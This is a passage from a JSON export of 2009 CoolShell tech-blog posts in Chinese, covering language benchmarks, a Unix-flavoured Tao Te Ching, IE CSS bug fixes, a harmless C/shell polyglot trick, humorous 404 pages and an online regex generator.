[https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/2.jpg](https://coolshell.cn/articles/1313.html)[Erlang和Python互通](https://coolshell.cn/articles/1313.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/3.jpg](https://coolshell.cn/articles/3605.html)[为什么中国的网页设计那么烂？](https://coolshell.cn/articles/3605.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/11.jpg](https://coolshell.cn/articles/1990.html)[程序命名的一些提示](https://coolshell.cn/articles/1990.html)\nThe post [在上班的时候浏览不相干网页](https://coolshell.cn/articles/1808.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-11-16 程序语言性能比拼.md",
    "content": "---\nlayout: post\ntitle: 程序语言性能比拼\ndate: 2009/11/16/ 0:20:17\nupdated: 2009/11/16/ 0:20:17\nstatus: publish\npublished: true\ntype: post\n---\n\n  下面这个网页，你可以比较各种程序语言的性能：\n\n\n<http://shootout.alioth.debian.org/u64/index.php>\n\n\n这个页面，安装的是x64 Ubuntu，CPU是Intel® Q6600® 单核。这个网页支持的语言很多，什么C，C++，Java，python，PHP，Erlang，C#，Ruby，……，还有最新的G0语言。\n\n\n在主页上，你可以选择一个语言。比如，我们选择Google的Go语言——Go 6g8g，然后，点击Show按钮，于是，你会看到下面这个界面：\n\n\n[![go vs gnuc](../wp-content/uploads/2009/11/govsgnuc.jpg \"go vs gnuc\")](https://coolshell.cn/wp-content/uploads/2009/11/govsgnuc.jpg) \n\n\n在这个界面上方，你可以选择两种语言，我们选择的是，上面的是Go 6g8g，而下面是的GNU C，于是下面的图表，是这两个语言各种参数和算法的比较图表。\n\n\n\n在这个图表中，其实就是“Go的性能” 除以 “C的性能”，所以，\n\n\n* 如果柱状图是大于1的（也就是基线以上的）则说明Go的性能不如C。\n* 如果柱状图小于1的（也就是基线以下的），说明Go的性能超过了C。\n\n\n再往下，是用来做比较的算法的图表，如下所示。在这个表中，我们可以看到很多算法，单击语言的链接，你就可以看到具体的实现源代码了。\n\n\n\n[![measurements table](../wp-content/uploads/2009/11/measurements_table.jpg \"measurements table\")](https://coolshell.cn/wp-content/uploads/2009/11/measurements_table.jpg)\n\n\n （全文完）\n\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![ETCD的内存问题](../wp-content/uploads/2022/05/etcd-150x150.png)](https://coolshell.cn/articles/22242.html)[ETCD的内存问题](https://coolshell.cn/articles/22242.html)\n* [![Go编程模式 ： 泛型编程](../wp-content/uploads/2021/09/go-generics-150x150.png)](https://coolshell.cn/articles/21615.html)[Go编程模式 ： 泛型编程](https://coolshell.cn/articles/21615.html)\n* [![Go 编程模式：k8s Visitor 模式](../wp-content/uploads/2020/12/go.k8s-150x150.png)](https://coolshell.cn/articles/21263.html)[Go 编程模式：k8s Visitor 模式](https://coolshell.cn/articles/21263.html)\n* [![Go编程模式：Pipeline](../wp-content/uploads/2020/12/go.line_.-150x150.png)](https://coolshell.cn/articles/21228.html)[Go编程模式：Pipeline](https://coolshell.cn/articles/21228.html)\n* [![Go编程模式：委托和反转控制](../wp-content/uploads/2020/12/go.pair_-150x150.png)](https://coolshell.cn/articles/21214.html)[Go编程模式：委托和反转控制](https://coolshell.cn/articles/21214.html)\n* [![Go 编程模式：Go Generation](../wp-content/uploads/2020/12/go.generate-150x150.png)](https://coolshell.cn/articles/21179.html)[Go 编程模式：Go Generation](https://coolshell.cn/articles/21179.html)\nThe post [程序语言性能比拼](https://coolshell.cn/articles/1788.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-11-16 超强：Unix道德经(英文版).md",
    "content": "---\nlayout: post\ntitle: 超强：Unix道德经(英文版)\ndate: 2009/11/16/ 1:30:26\nupdated: 2009/11/16/ 1:30:26\nstatus: publish\npublished: true\ntype: post\n---\n\n\n**主页：**[**http://mercury.ccil.org/~cowan/upc/**](http://mercury.ccil.org/~cowan/upc/)\n\n\n这是一个人主页，博主说，这是一个“黑客式”版本的 [Dao De Ching](http://www.google.com/search?q=%22Tao+Te+Ching%22) (字面理解是”way power classic”，道路权力名著).他并对中文其实并不懂。他只是为Jonathan Star的 [逐字翻译](http://www.amazon.com/exec/obidos/ASIN/1585420999) 而工作，其使用了在线的中文一个词典 [*zhongwen.com*](http://zhongwen.com/dao.htm)对《道德经》一字一字地翻译。\n\n\n他对《道德经》并不是很懂，除了知道那是中文，而且知道这是一个相当老的，而且，2500年前的那些是非常喜欢的一个作品，正如 [Ursula K. LeGuin](http://www.ursulakleguin.com/) 在 [她的版本](http://www.amazon.com/exec/obidos/ASIN/1570623953)中所说的一样。作者说《道德经》是对道德，政治和宗教信仰做了很多的解释。到了今天，还有人在读这本书，说明了这本书的不朽，美妙和意味深长。\n\n\n下面是《道德经》的 81 个章节 ，作者并没有完全写完（或者说是hack完），你可以点击链接查看其中的内容。\n\n\n[01](http://mercury.ccil.org/~cowan/upc/01.txt) 02 03 [04](http://mercury.ccil.org/~cowan/upc/04.txt) 05 06 [07](http://mercury.ccil.org/~cowan/upc/07.txt) [08](http://mercury.ccil.org/~cowan/upc/08.txt) [09](http://mercury.ccil.org/~cowan/upc/09.txt)  \n\n10 11 12 13 14 [15](http://mercury.ccil.org/~cowan/upc/15.txt) 16 [17](http://mercury.ccil.org/~cowan/upc/17.txt) [18](http://mercury.ccil.org/~cowan/upc/18.txt)  \n\n19 20 [21](http://mercury.ccil.org/~cowan/upc/21.txt) 22 [23](http://mercury.ccil.org/~cowan/upc/23.txt) 24 25 26 27  \n\n[28](http://mercury.ccil.org/~cowan/upc/28.txt) 29 30 31 32 33 [34](http://mercury.ccil.org/~cowan/upc/34.txt) 35 36  \n\n37 38 [39](http://mercury.ccil.org/~cowan/upc/39.txt) [40](http://mercury.ccil.org/~cowan/upc/40.txt) [41](http://mercury.ccil.org/~cowan/upc/41.txt) [42](http://mercury.ccil.org/~cowan/upc/42.txt) [43](http://mercury.ccil.org/~cowan/upc/43.txt) 44 45  \n\n46 47 [48](http://mercury.ccil.org/~cowan/upc/48.txt) 49 50 51 52 [53](http://mercury.ccil.org/~cowan/upc/53.txt) 54  \n\n55 56 [57](http://mercury.ccil.org/~cowan/upc/57.txt) 58 59 [60](http://mercury.ccil.org/~cowan/upc/60.txt) 61 62 [63](http://mercury.ccil.org/~cowan/upc/63.txt)  \n\n64 [65](http://mercury.ccil.org/~cowan/upc/65.txt) 66 [67](http://mercury.ccil.org/~cowan/upc/67.txt) [68](http://mercury.ccil.org/~cowan/upc/68.txt) 69 70 [71](http://mercury.ccil.org/~cowan/upc/71.txt) [72](http://mercury.ccil.org/~cowan/upc/72.txt)  \n\n73 74 75 76 77 78 [79](http://mercury.ccil.org/~cowan/upc/79.txt) 80 [81](http://mercury.ccil.org/~cowan/upc/81.txt)\n\n\n点击第23章，可以看到hack版的充满Unix术语的经文翻译。下面给出原文和转译版的对照。（老实说，翻译的怎是一个强字了得啊）下面给出中英对照版。\n\n\n  \n\n\n\n\n\n\n|  |  |\n| --- | --- |\n| **中文原文** | **英文Hack版** |\n| 希言自然。\n故飘风不终朝，\n骤雨不终日。\n孰为此者﹖\n天地。\n天地尚不能久，\n而况于人乎﹖\n故从事于道者，\n道者同于道，\n德者同于德，\n失者同于失。\n同于道者，\n道亦乐得之；\n同于德者，\n德亦乐得之；\n同于失者，\n失亦乐得之。\n信不足焉，\n有不信焉。 | A few words about the matter:\nFlames don’t outlast the message,\nFlamewars don’t outlast the thread.\nWhat are the causes of these?\nThe total system.\nIf the works of the total system\ncan’t last forever,\nhow much less can anyone else’s, in fact?\nSo do business with Unix people.\nUnix people are one with Unix,\nPower people are one with Power,\n(Lusers are one with Lossage.)\nBeing one with Unix people,\nUnix must be happy with them.\nPower too is happy with them.\n(Even being one with lusers counts.)\nTrusting’s not enough, in fact;\nHaving’s not trusting, either. |\n\n\n  \n\n我相信这不是恶搞，但面对这样的事情——“老子”，“道德经”，“ Unix”和“英文”的和谐统一体，我无法不服啊。\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![Unix 50 年：Ken Thompson 的密码](../wp-content/uploads/2019/11/ken.dennis-300x186-1-150x150.jpeg)](https://coolshell.cn/articles/19996.html)[Unix 50 年：Ken Thompson 的密码](https://coolshell.cn/articles/19996.html)\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\n* [![Linux PID 1 和 Systemd](../wp-content/uploads/2017/07/systemd-1-150x150.jpeg)](https://coolshell.cn/articles/17998.html)[Linux PID 1 和 Systemd](https://coolshell.cn/articles/17998.html)\n* [![vfork 挂掉的一个问题](../wp-content/uploads/2014/11/tux-fork-150x150.gif)](https://coolshell.cn/articles/12103.html)[vfork 挂掉的一个问题](https://coolshell.cn/articles/12103.html)\n* [![谜题的答案和活动的心得体会](../wp-content/uploads/2014/08/puzzle-150x150.png)](https://coolshell.cn/articles/11847.html)[谜题的答案和活动的心得体会](https://coolshell.cn/articles/11847.html)\n* [![Unix考古记：一个“遗失”的shell](../wp-content/uploads/2013/04/figure1-150x150.gif)](https://coolshell.cn/articles/9410.html)[Unix考古记：一个“遗失”的shell](https://coolshell.cn/articles/9410.html)\nThe post [超强：Unix道德经(英文版)](https://coolshell.cn/articles/1794.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-11-17 9个最常见IE的Bug及其fix.md",
    "content": "---\nlayout: post\ntitle: 9个最常见IE的Bug及其fix\ndate: 2009/11/17/ 7:33:2\nupdated: 2009/11/17/ 7:33:2\nstatus: publish\npublished: true\ntype: post\n---\n\nhttp://nettuts.s3.amazonaws.com/494_ie/images/200x200.jpg\n\n\nInternet Explorer – Web程序员的毒药。在IE上开发时间中有超过60%的时间是花在和IE的bug进行搏斗，让你的开发生产率严重下降。下面是一个教程，告诉你9个IE上最常见的BUG以及如何解决它们。\n\n\n#### 1. 居中布局\n\n\n创建一个CSS定义把一个元素放到中间的位置，可能是每一个Web开发人员都会做的事情。最简单的做法是为你的元素增加一个*margin: auto;* ，然而 IE 6.0 会出现很多奇怪的行为。让我们来看一个例子。\n\n\n\n```\n\n#container{\n\tborder: solid 1px #000;\n\tbackground: #777;\n\twidth: 400px;\n\theight: 160px;\n\tmargin: 30px 0 0 30px;\n}\n\n#element{\n\tbackground: #95CFEF;\n\tborder: solid 1px #36F;\n\twidth: 300px;\n\theight: 100px;\n\tmargin: 30px auto;\n\n}\n\n```\n\n下面是我们所期望的输出：\n\n\n\nhttp://nettuts.s3.amazonaws.com/494_ie/images/1-1.png\n但IE却给我们这样的输出：\n\n\nhttp://nettuts.s3.amazonaws.com/494_ie/images/1-2.png\n这应该是IE 6对margin的 *auto* 并没有正确的设置。但幸运的是，这是很容易被修正的。\n\n\n**解决方法**\n\n\n最简单的方法是在父元件中使用 *text-align: center* 属性，而在元件中使用 *text-align: left* 。\n\n\n\n```\n\n#container{\n\tborder: solid 1px #000;\n\tbackground: #777;\n\twidth: 400px;\n\theight: 160px;\n\tmargin: 30px 0 0 30px;\n\ttext-align: center;\n}\n\n#element{\n\tbackground: #95CFEF;\n\tborder: solid 1px #36F;\n\twidth: 300px;\n\theight: 100px;\n\tmargin: 30px 0;\n    \ttext-align: left;\n\n}\n\n```\n\n#### 2. 楼梯式的效果\n\n\n几乎所有的Web开发者都会使用list来创建导航条。下面是你可能会用到的代码：\n\n\n\n```\n\n    <ul>\n        <li><a href=\"#\"></a></li>\n        <li><a href=\"#\"></a></li>\n        <li><a href=\"#\"></a></li>\n    </ul>\n\n```\n\n \n\n\n\n```\n\nul {\n    list-style: none;\n}\n\nul li a {\n   \tdisplay: block;\n   \twidth: 130px;\n\theight: 30px;\n   \ttext-align: center;\n   \tcolor: #fff;\n   \tfloat: left;\n\tbackground: #95CFEF;\n\tborder: solid 1px #36F;\n\tmargin: 30px 5px;\n}\n\n```\n\n一个符合标准的浏览器会是下面这样：\n\n\nhttp://nettuts.s3.amazonaws.com/494_ie/images/2-1.png\n但IE却是这样的：\n\n\nhttp://nettuts.s3.amazonaws.com/494_ie/images/2-2.png\n\n\n下面是两个解决方法\n\n\n**解决方法一**\n\n\n设置li元件的float属性。\n\n\n\n```\n\nul li {\n\tfloat: left;\n}\n\n```\n\n**解决方法二**\n\n\n设置 *display: inline* 属性。\n\n\n\n```\n\nul li {\n\tdisplay: inline\n}\n\n```\n\n#### 3. float元件的两倍空白\n\n\n请看下面的代码：\n\n\n\n```\n\n#element{\n\tbackground: #95CFEF;\n\twidth: 300px;\n\theight: 100px;\n\tfloat: left;\n\tmargin: 30px 0 0 30px;\n\tborder: solid 1px #36F;\n}\n\n```\n\n期望的结果是：\n\n\nhttp://nettuts.s3.amazonaws.com/494_ie/images/3-1.png\nIE的结果是：\n\n\nhttp://nettuts.s3.amazonaws.com/494_ie/images/3-2.png\n**解决方案**\n\n\n和上面那个BUG的解决方案一样，设置 *display: inline* 属性可以解决问题。\n\n\n\n```\n\n#element{\n\tbackground: #95CFEF;\n\twidth: 300px;\n\theight: 100px;\n\tfloat: left;\n\tmargin: 30px 0 0 30px;\n\tborder: solid 1px #36F;\n   \tdisplay: inline;\n}\n\n```\n\n#### 4. 无法设置微型高度\n\n\n我们发现在IE中使用 *height: XXpx* 这样的属性无法设置比较小的高度。下面是个例子（注意高度是2px）：\n\n\n\n```\n\n#element{\n\tbackground: #95CFEF;\n\tborder: solid 1px #36F;\n\twidth: 300px;\n\theight: 2px;\n\tmargin: 30px 0;\n}\n\n```\n\n期望结果： 2px的元件加1px的边框.\n\n\nhttp://nettuts.s3.amazonaws.com/494_ie/images/4-1.png\nIE的结果：\n\n\nhttp://nettuts.s3.amazonaws.com/494_ie/images/4-2.png\n**解决方案一**\n\n\n这个BUG的产生原因很简单，IE不允许元件的高度小于字体的高度，所以，下面的fix是设置上字体大小。\n\n\n\n```\n\n#element{\n\tbackground: #95CFEF;\n\tborder: solid 1px #36F;\n\twidth: 300px;\n\theight: 2px;\n\tmargin: 30px 0;\n    \tfont-size: 0;\n}\n\n```\n\n**解决方案二**\n\n\n但是最佳的解决方法是使用 *overflow: hidden* 。\n\n\n\n```\n\n#element{\n\tbackground: #95CFEF;\n\tborder: solid 1px #36F;\n\twidth: 300px;\n\theight: 2px;\n\tmargin: 30px 0;\n    \toverflow: hidden\n}\n\n```\n\n#### 5. 跨出边界\n\n\n这个BUG是很难看的。当父元件中使用了 *overflow* 的 *auto* 属性，并且在其里放入相关元件。你会看来里面的元件会跨出来。下面是一个示例：\n\n\n\n```\n\n<div id=\"element\"><div id=\"anotherelement\"></div></div>\n\n```\n\n \n\n\n\n```\n\n#element{\n\tbackground: #95CFEF;\n\tborder: solid 1px #36F;\n\twidth: 300px;\n\theight: 150px;\n\tmargin: 30px 0;\n\toverflow: auto;\n}\n\n#anotherelement{\n\tbackground: #555;\n\twidth: 150px;\n\theight: 175px;\n\tposition: relative;\n\tmargin: 30px;\n}\n\n```\n\n期望的结果：\n\n\nhttp://nettuts.s3.amazonaws.com/494_ie/images/5-1.png\nIE的结果：\n\n\nhttp://nettuts.s3.amazonaws.com/494_ie/images/5-2.png\n**解决方法**\n\n\n设置 position: relative;属性\n\n\n\n```\n\n#element{\n\tbackground: #95CFEF;\n\tborder: solid 1px #36F;\n\twidth: 300px;\n\theight: 150px;\n\tmargin: 30px 0;\n\toverflow: auto;\n    \tposition: relative;\n}\n\n```\n\n#### 6. Fixing the Broken Box Model\n\n\nInternet Explorer曲解了“盒子模子”可能是最不可原谅的事情了。IE 6 这个半标准的浏览器回避了这个事情，但这个问题还是会因为IE运行在“怪异模式”下出现。\n\n\n两个Div元件。一个是有fix的，一个是没有的。而他们不同的高和宽加上padding的总合却是不一样的。下图的上方是被修正的，下方则没有。\n\n\nhttp://nettuts.s3.amazonaws.com/494_ie/images/6.png\n**解决方法**\n\n\n我相信这个事情即不需要解释也不需要演示，这应该是大多数人都明白的。下面是一个很相当怪异的解决方案\n\n\n\n```\n\n#element{\n\twidth: 400px;\n    \theight: 150px;\n\tpadding: 50px;\n}\n\n```\n\n上面的定义也就是说：\n\n\n\n```\n\n#element {\n    width: 400px;\n    height: 150px;\n   \\height: 250px;\n   \\width: 500px\n}\n\n```\n\n是的，你要原来的长和宽上加上了padding。但这个fix只会作用于IE了的“怪异模式”，所以你不需要担心在IE6的正常模式下会有问题。\n\n\n#### 7. 设置min-height和min-width\n\n\nIE忽略了min-height。\n\n\n**解决方法一**\n\n\n这个fix由 [Dustin Diaz](http://www.dustindiaz.com/min-height-fast-hack/)提供。其利用了 *!important* 下面是代码片段：\n\n\n\n```\n\n#element {\n  min-height:150px;\n  height:auto !important;\n  height:150px;\n}\n\n```\n\n**解决方法二**\n\n\n\n```\n\n#element {\n    min-height: 150px;\n    height: 150px;\n}\n\nhtml>body #element {\n\theight: auto;\n}\n\n```\n\n#### 8. Float 布局错误行为 Misbehaving\n\n\n使用无table的布局最重要的就是使用CSS的float元件。在很多情况下，IE6处理起来好像在摸索阶段，有些时候，你会发现很多奇怪的行为。比如在其中有一些文本的时候。\n\n\n来看一下下面这个示例：\n\n\n\n```\n\n<div id=\"container\">\n\t<div id=\"element\">http://net.tutsplus.com/</div>\n\t<div id=\"anotherelement\"></div>\n</div>\n\n```\n\n \n\n\n\n```\n\n#element, #anotherelement{\n\tbackground: #95CFEF;\n\tborder: solid 1px #36F;\n\twidth: 100px;\n\theight: 150px;\n\tmargin: 30px;\n\tpadding: 10px;\n\tfloat: left;\n}\n\n#container{\n\tbackground: #C2DFEF;\n\tborder: solid 1px #36F;\n\twidth: 365px;\n\tmargin: 30px;\n\tpadding: 5px;\n\toverflow: auto;\n}\n\n```\n\n期望结果：\n\n\nhttp://nettuts.s3.amazonaws.com/494_ie/images/8-1.png\nIE的结果：\n\n\nhttp://nettuts.s3.amazonaws.com/494_ie/images/8-2.png\n你可以看到其中的不同了\n\n\n**解决方法**\n\n\n要解决这个问题没有什么好的方法。只有一个方法，那就是使用 *overflow: hidden* 。\n\n\n\n```\n\n#element{\n\tbackground: #C2DFEF;\n\tborder: solid 1px #36F;\n\twidth: 365px;\n\tmargin: 30px;\n\tpadding: 5px;\n\toverflow: hidden;\n}\n\n```\n\n#### 9. 在list项目门的空行\n\n\n先看下面的例子\n\n\n\n```\n\n<ul>\n <li><a href=\"#\">Link 1</a></li>\n <li><a href=\"#\">Link 2</a></li>\n <li><a href=\"#\">Link 3</a></li>\n</ul>\n\n```\n\n \n\n\n\n```\n\nul {\n\tmargin:0;\n\tpadding:0;\n\tlist-style:none;\n}\n\nli a {\n\tbackground: #95CFEF;\n\tdisplay: block;\n}\n\n```\n\n期望结果：\n\n\nhttp://nettuts.s3.amazonaws.com/494_ie/images/9-1.png\nIE的结果：\n\n\nhttp://nettuts.s3.amazonaws.com/494_ie/images/9-2.png\nFortunately, there are a plethora of fixes you could try.\n\n\n**解决方法一**\n\n\n定义height来解决\n\n\n\n```\n\nli a {\n\tbackground: #95CFEF;\n\tdisplay: block;\n    \theight: 200px;\n}\n\n```\n\n**解决方法二**\n\n\n\n```\n\nli a {\n\tbackground: #95CFEF;\n\tfloat: left;\n    \tclear: left;\n}\n\n```\n\n**解决方法三**\n\n\n为 *li* 加上*display: inline*。\n\n\n\n```\n\nli {\n\tdisplay: inline;\n}\n\n```\n\n#### 结论\n\n\n调界面是一件很难的事，调一个CSS的HTML界面是一件更难的事，在IE下调一个CSS的HTML界面是难上加难的事。\n\n\n文章：[来源](http://net.tutsplus.com/tutorials/html-css-techniques/9-most-common-ie-bugs-and-how-to-fix-them/)\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![Chrome开发者工具的小技巧](../wp-content/uploads/2017/01/pretty-code-150x150.gif)](https://coolshell.cn/articles/17634.html)[Chrome开发者工具的小技巧](https://coolshell.cn/articles/17634.html)\n* [![浏览器的渲染原理简介](../wp-content/uploads/2013/05/Render-Process-150x150.jpg)](https://coolshell.cn/articles/9666.html)[浏览器的渲染原理简介](https://coolshell.cn/articles/9666.html)\n* [![CSS 布局:40个教程、技巧、例子和最佳实践](../wp-content/uploads/2012/03/css-layouts-150x150.gif)](https://coolshell.cn/articles/6840.html)[CSS 布局:40个教程、技巧、例子和最佳实践](https://coolshell.cn/articles/6840.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg](https://coolshell.cn/articles/3903.html)[一些有意思的贴子和工具](https://coolshell.cn/articles/3903.html)\n* [![Web开发人员速查卡](../wp-content/uploads/2011/02/1128-150x150.jpg)](https://coolshell.cn/articles/3684.html)[Web开发人员速查卡](https://coolshell.cn/articles/3684.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/0.jpg](https://coolshell.cn/articles/3063.html)[40个很不错的CSS技术](https://coolshell.cn/articles/3063.html)\nThe post [9个最常见IE的Bug及其fix](https://coolshell.cn/articles/1817.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-11-19 C语言和sh脚本的杂交代码.md",
    "content": "---\nlayout: post\ntitle: C语言和sh脚本的杂交代码\ndate: 2009/11/19/ 5:47:51\nupdated: 2009/11/19/ 5:47:51\nstatus: publish\npublished: true\ntype: post\n---\n\n在网上看到了一个把 C语言和bash杂并起来的例子，这个示子如下所示。在下面这个例子中，我们把脚本用#if 0这个预编译给起来，这样就不会让其编译到C语言中了。\n\n\n\n```\n#if 0\necho \"Hello from bash!\"\nexit\n#endif\n#include <stdlib.h>\n#include <stdio.h>\nint main(int argc, char* argv[]) {\n  puts(\"Hello from C!\");\n  return EXIT_SUCCESS;\n}\n```\n\n下面，让我看看如果来使用这样的程序：\n\n\n\n```\n$ sh test.sh.c\nHello from bash!\n$ gcc test.sh.c -o test\n$ ./test\nHello from C!\n\n```\n\n你甚至还可以做一个自我编译，并自我运行的源代码。如下所示：\n\n\n\n\n```\n#if 0\nfile=`mktemp`\ngcc -o $file $0\n$file\nrm $file\nexit\n#endif\n#include <stdlib.h>\n#include <stdio.h>\n\nint main(int argc, char *argv[]) {\n  puts(\"Hello from C!\");\n  return EXIT_SUCCESS;\n}\n```\n\n运行：\n\n\n\n```\n$ sh test.sh.c\nHello from C!\n$\n```\n\n当然，我并不建议你在真正的开发环境中这样使用，我只不过是在介绍一个比较有趣的用法，仅此而已！\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![Rust语言的编程范式](../wp-content/uploads/2020/03/rust-social-wide-150x150.jpg)](https://coolshell.cn/articles/20845.html)[Rust语言的编程范式](https://coolshell.cn/articles/20845.html)\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\n* [![API设计原则 – Qt官网的设计实践总结](../wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg)](https://coolshell.cn/articles/18024.html)[API设计原则 – Qt官网的设计实践总结](https://coolshell.cn/articles/18024.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg](https://coolshell.cn/articles/12052.html)[Leetcode 编程训练](https://coolshell.cn/articles/12052.html)\n* [![State Threads 回调终结者](../wp-content/uploads/2014/10/edsm-150x150.gif)](https://coolshell.cn/articles/12012.html)[State Threads 回调终结者](https://coolshell.cn/articles/12012.html)\n* [![bash代码注入的安全漏洞](../wp-content/uploads/2014/09/bashbug-150x150.jpg)](https://coolshell.cn/articles/11973.html)[bash代码注入的安全漏洞](https://coolshell.cn/articles/11973.html)\nThe post [C语言和sh脚本的杂交代码](https://coolshell.cn/articles/1824.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-11-19 几个有趣的404错误页面.md",
    "content": "---\nlayout: post\ntitle: 几个有趣的404错误页面\ndate: 2009/11/19/ 6:46:54\nupdated: 2009/11/19/ 6:46:54\nstatus: publish\npublished: true\ntype: post\n---\n\nWindows的经典蓝屏  \n\n<http://www.nerdiphythesoul.com/404.html>  \n\n<http://huml.org/404.shtml>\n\n\nIE经典的404错误（但却又不一样）  \n\n<http://www.homestarrunner.com/systemisdown.html>\n\n\n出错的时候不忘让你学习学习HTTP的返回码  \n\n<http://www.notonebit.com/s>\n\n\n\n漫画式的出错(这样的方法可能会很多)  \n\n<http://www.homestarrunner.com/thisisntgoingtowork>\n\n\n废话！当然是文件找不到！  \n\n<http://www.itchyrobot.com/404>\n\n\nASCII码拼成的404  \n\n<http://10e.org/404.html>  \n\n<http://www.zhangshuodesign.com/404.html>\n\n\n出错了，那就玩个游戏吧  \n\n<http://atomicbombshell.com/error-page/>  \n\n<http://www.loadeddice.co.uk/errors/404.php>  \n\n<http://s8.hk/error/page404.html>\n\n\n随机搞笑图片  \n\n<http://www.b3ta.com/404>\n\n\n终端界面式的  \n\n<http://www.psyklone.com/jhjhj.html>\n\n\n超级玛丽  \n\n<http://www.dawdle.com/error_page.php>\n\n\n流程图  \n\n<http://www.orangecoat.com/404>  \n\n<http://rubberducky.org/404>\n\n\n生活中的404  \n\n<http://www.ddz.net/404/index.htm>\n\n\n通缉不存在的页面  \n\n<http://www.hongkiat.com/blog/60-really-cool-and-creative-error-404-pages/>\n\n\n电视屏幕型  \n\n<http://aviationreviews.com/404>\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\n* [![如何免费的让网站启用HTTPS](../wp-content/uploads/2017/08/enable-https-banner-150x150.png)](https://coolshell.cn/articles/18094.html)[如何免费的让网站启用HTTPS](https://coolshell.cn/articles/18094.html)\n* [![DHH 谈混合移动应用开发](../wp-content/uploads/2014/12/1053-DHH-150x150.jpg)](https://coolshell.cn/articles/12225.html)[DHH 谈混合移动应用开发](https://coolshell.cn/articles/12225.html)\n* [![HTML6 展望](../wp-content/uploads/2014/12/html6-150x150.jpeg)](https://coolshell.cn/articles/12206.html)[HTML6 展望](https://coolshell.cn/articles/12206.html)\n* [![Google Inbox如何跨平台重用代码？](../wp-content/uploads/2014/11/inbox2-640x264-150x150.jpg)](https://coolshell.cn/articles/12136.html)[Google Inbox如何跨平台重用代码？](https://coolshell.cn/articles/12136.html)\n* [![State Threads 回调终结者](../wp-content/uploads/2014/10/edsm-150x150.gif)](https://coolshell.cn/articles/12012.html)[State Threads 回调终结者](https://coolshell.cn/articles/12012.html)\nThe post [几个有趣的404错误页面](https://coolshell.cn/articles/1826.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-11-20 正则表达式生成器.md",
    "content": "---\nlayout: post\ntitle: 正则表达式生成器\ndate: 2009/11/20/ 1:12:17\nupdated: 2009/11/20/ 1:12:17\nstatus: publish\npublished: true\ntype: post\n---\n\n 对正则表达式很头疼，是不是？每次看到都觉得像看天书似的，别说让人自己整一个出来了。下面这个网站可以帮你生成正则表达式，而且还可以根据不同的语言生成不同的代码示例，很强大。\n\n\n[![txt2re.com](../wp-content/uploads/2009/11/txt2re.jpg \"txt2re.com\")](http://www.txt2re.com/index.php3)\n\n\n<http://www.txt2re.com/index.php3>\n\n\n打开上面那个网页，你会看到有三步。\n\n\n* 第一步，输出你想匹配的一个文本示例，然后点“Show Machted”，于是进入第二点。\n* 第二步，当你看到那花花绿绿的界面是不要头大（那个配色也太可怕了），那是这个会把你的这个字串每个字符都拆出来，并把单词分隔。于是，你可以点击那些花绿格子间的链接来组织你的正规表达式。，比如：c表示任意字符，还有什么int,day,string之流的东西。（相当ugly的界面）在这一步，你一点要点点什么，不然不会进入第三步。\n* 第三步，选择一个编程语言，然后你可以看到相关的代码示例。语言支持：Perl  PHP  Python  Java  Javascript  ColdFusion  C  C++  Ruby  VB  VBScript  J#.net  C#.net  C++.net  VB.net （这么多）\n\n\n总之，这是一个很酷，但却界面很丑陋的在线的正则表达式生成工具。\n\n\n \n\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/8.jpg](https://coolshell.cn/articles/2704.html)[检查素数的正则表达式](https://coolshell.cn/articles/2704.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/28.jpg](https://coolshell.cn/articles/2667.html)[浏览器正则表达式检查插件](https://coolshell.cn/articles/2667.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg](https://coolshell.cn/articles/1387.html)[十个Web开发文章和教程](https://coolshell.cn/articles/1387.html)\n* 